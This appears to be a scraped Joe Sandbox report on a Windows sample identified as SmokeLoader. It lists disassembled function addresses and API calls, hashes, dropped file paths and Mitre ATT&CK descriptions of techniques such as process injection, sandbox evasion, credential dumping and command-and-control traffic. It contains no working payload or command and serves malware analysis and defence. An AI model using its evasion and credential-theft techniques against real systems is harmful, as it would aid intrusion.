0x00000000
0x00000000
0x00000000
0x00000000
0x009755f8
0x00000000
0x009755ed
0x009755a7
0x00000000
0x00000000
0x009755ad
0x009755b0
0x00000000
0x00000000
0x00000000
0x00000000
0x009755b2
0x009755b2
0x009755b2
0x009755b7
0x00000000
0x00000000
0x009755b9
0x009755bd
0x009755c7
0x009755cd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x009755bd
0x00000000
0x00975612
0x00975612
0x00975612
0x0097561f
0x00975625
0x0097562a
0x00000000
0x00000000
0x00975633
0x00975638
0x0097563a
0x0097563c
0x00975742
0x00975745
0x00975748
0x0097574d
0x00000000
0x0097574d
0x00975647
0x0097565f
0x00975660
0x00975665
0x0097566b
0x00975679
0x00975679
0x0097567e
0x00000000
0x0097569f
0x0097569f
0x009756ab
0x009756b1
0x009756b6
0x00000000
0x00000000
0x009756bf
0x009756c4
0x009756c6
0x009756c8
0x00975735
0x00975738
0x0097573b
0x00000000
0x0097573b
0x009756cf
0x009756e4
0x009756ea
0x009756ef
0x009756fa
0x009756fa
0x009756ff
0x0097570e
0x00975716
0x0097572b
0x00975731
0x00975731
0x00975716
0x00000000
0x009756ff
0x009756f1
0x009756f7
0x009756f7
0x00000000
0x009756f7
0x009756d1
0x009756d6
0x009756da
0x00000000
0x00000000
0x009756dc
0x00000000
0x009756dc
0x0097567e
0x0097566d
0x00975673
0x00975673
0x00975676
0x00000000
0x00975676
0x00975649
0x0097564e
0x00975650
0x00975655
0x00000000
0x00000000
0x00975657
0x00000000
0x00975657
0x0097556a
0x0097555b
0x00000000
0x0097555b

APIs

GetCPInfo.KERNEL32(?,?), ref: 00975591
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 0097561F
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00975691
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 009756AB
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0097570E
CompareStringEx.KERNEL32 ref: 0097572B

Memory Dump Source

Source File: 00000011.00000002.467932478.0000000000952000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00930000, based on PE: true

Associated: 00000011.00000002.466108961.0000000000930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466225341.0000000000931000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466898321.000000000093B000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.467245935.000000000093F000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468566814.00000000009DB000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468596071.00000000009E3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468861074.0000000000A06000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469265290.0000000000A0F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469295123.0000000000A14000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469305847.0000000000A16000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_930000_D3F7.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 2d38c32db86b9016eafcdd70a2d52b3a76bacabbfc4c7c7e1d5106882ad5e422
Instruction ID: f8d0669ab3fc00806da511fb615a0e793a0c97cddb326cb84291ea51f64a17e0
Opcode Fuzzy Hash: 2d38c32db86b9016eafcdd70a2d52b3a76bacabbfc4c7c7e1d5106882ad5e422
Instruction Fuzzy Hash: DA71D37390064A9BDF618FA5CC41AEE7BBAEF49310F6A8015F80DA7150DBB5C901CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00959DFB Relevance: 9.2, APIs: 6, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 00959E44
MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000), ref: 00959EAF
LCMapStringEx.KERNEL32 ref: 00959ECC
LCMapStringEx.KERNEL32 ref: 00959F0B
LCMapStringEx.KERNEL32 ref: 00959F6A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00959F8D

Memory Dump Source

Source File: 00000011.00000002.467932478.0000000000952000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00930000, based on PE: true

Associated: 00000011.00000002.466108961.0000000000930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466225341.0000000000931000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466898321.000000000093B000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.467245935.000000000093F000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468566814.00000000009DB000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468596071.00000000009E3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468861074.0000000000A06000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469265290.0000000000A0F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469295123.0000000000A14000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469305847.0000000000A16000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_930000_D3F7.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: c1e470dfb8ccfef6ea7aa1b8a7f4392118cc8ed184b0bff09305f5aec7512137
Instruction ID: dae7f0e956faf25668b23f8e49b7c65b9b6f01a59f1d342aa4d04e82a3c92d8d
Opcode Fuzzy Hash: c1e470dfb8ccfef6ea7aa1b8a7f4392118cc8ed184b0bff09305f5aec7512137
Instruction Fuzzy Hash: 8D519B7260020AEFEB20CFA6CC45FAE7BA9EB84742F158425FD19EA150D735CD198B50

Uniqueness

Uniqueness Score: -1.00%

Function 0097C640 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ValidateLocalCookies.LIBCMT ref: 0097C677
_ValidateLocalCookies.LIBCMT ref: 0097C708
_ValidateLocalCookies.LIBCMT ref: 0097C788

Strings

csm, xrefs: 0097C71D

Memory Dump Source

Source File: 00000011.00000002.467932478.0000000000952000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00930000, based on PE: true

Associated: 00000011.00000002.466108961.0000000000930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466225341.0000000000931000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466898321.000000000093B000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.467245935.000000000093F000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468566814.00000000009DB000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468596071.00000000009E3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468861074.0000000000A06000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469265290.0000000000A0F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469295123.0000000000A14000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469305847.0000000000A16000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_930000_D3F7.jbxd

Similarity

API ID: CookiesLocalValidate
String ID: csm
API String ID: 2268201637-1018135373
Opcode ID: cc066ab2d3cf0ee94e138bd4e0dd1a8829cd9bf75b59a764bb697beafc6611a3
Instruction ID: 859d6cb80061644b46c9a61ac6f383cbb3edb6c7db2b295fde99ba5696f4ec71
Opcode Fuzzy Hash: cc066ab2d3cf0ee94e138bd4e0dd1a8829cd9bf75b59a764bb697beafc6611a3
Instruction Fuzzy Hash: CE41E875A002099FCF14EF68C885A9E7BB5BF85324F14C059E81CAB392DB35AD05CF91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_151.exe_91171af181ed96f88aeafe12a567f8b4884e53_93e7ccf6_10e0f79b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_A784.exe_95c4ad99956d3481b17b8122f3ae951a47064a3_0a227f68_0a7113ce\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_D3F7.exe_d8f2fd7ff73459f3f5dcfe6b16eeaa867de1d2f_cd1489f6_16513d5f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER335.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER624.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB320.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB738.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB8FE.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2BC.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE899.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREA30.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF682.tmp.dmp

C:\Users\user\AppData\Local\Temp\151.exe

C:\Users\user\AppData\Local\Temp\39AF.exe

C:\Users\user\AppData\Local\Temp\4962.exe

C:\Users\user\AppData\Local\Temp\96E9.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre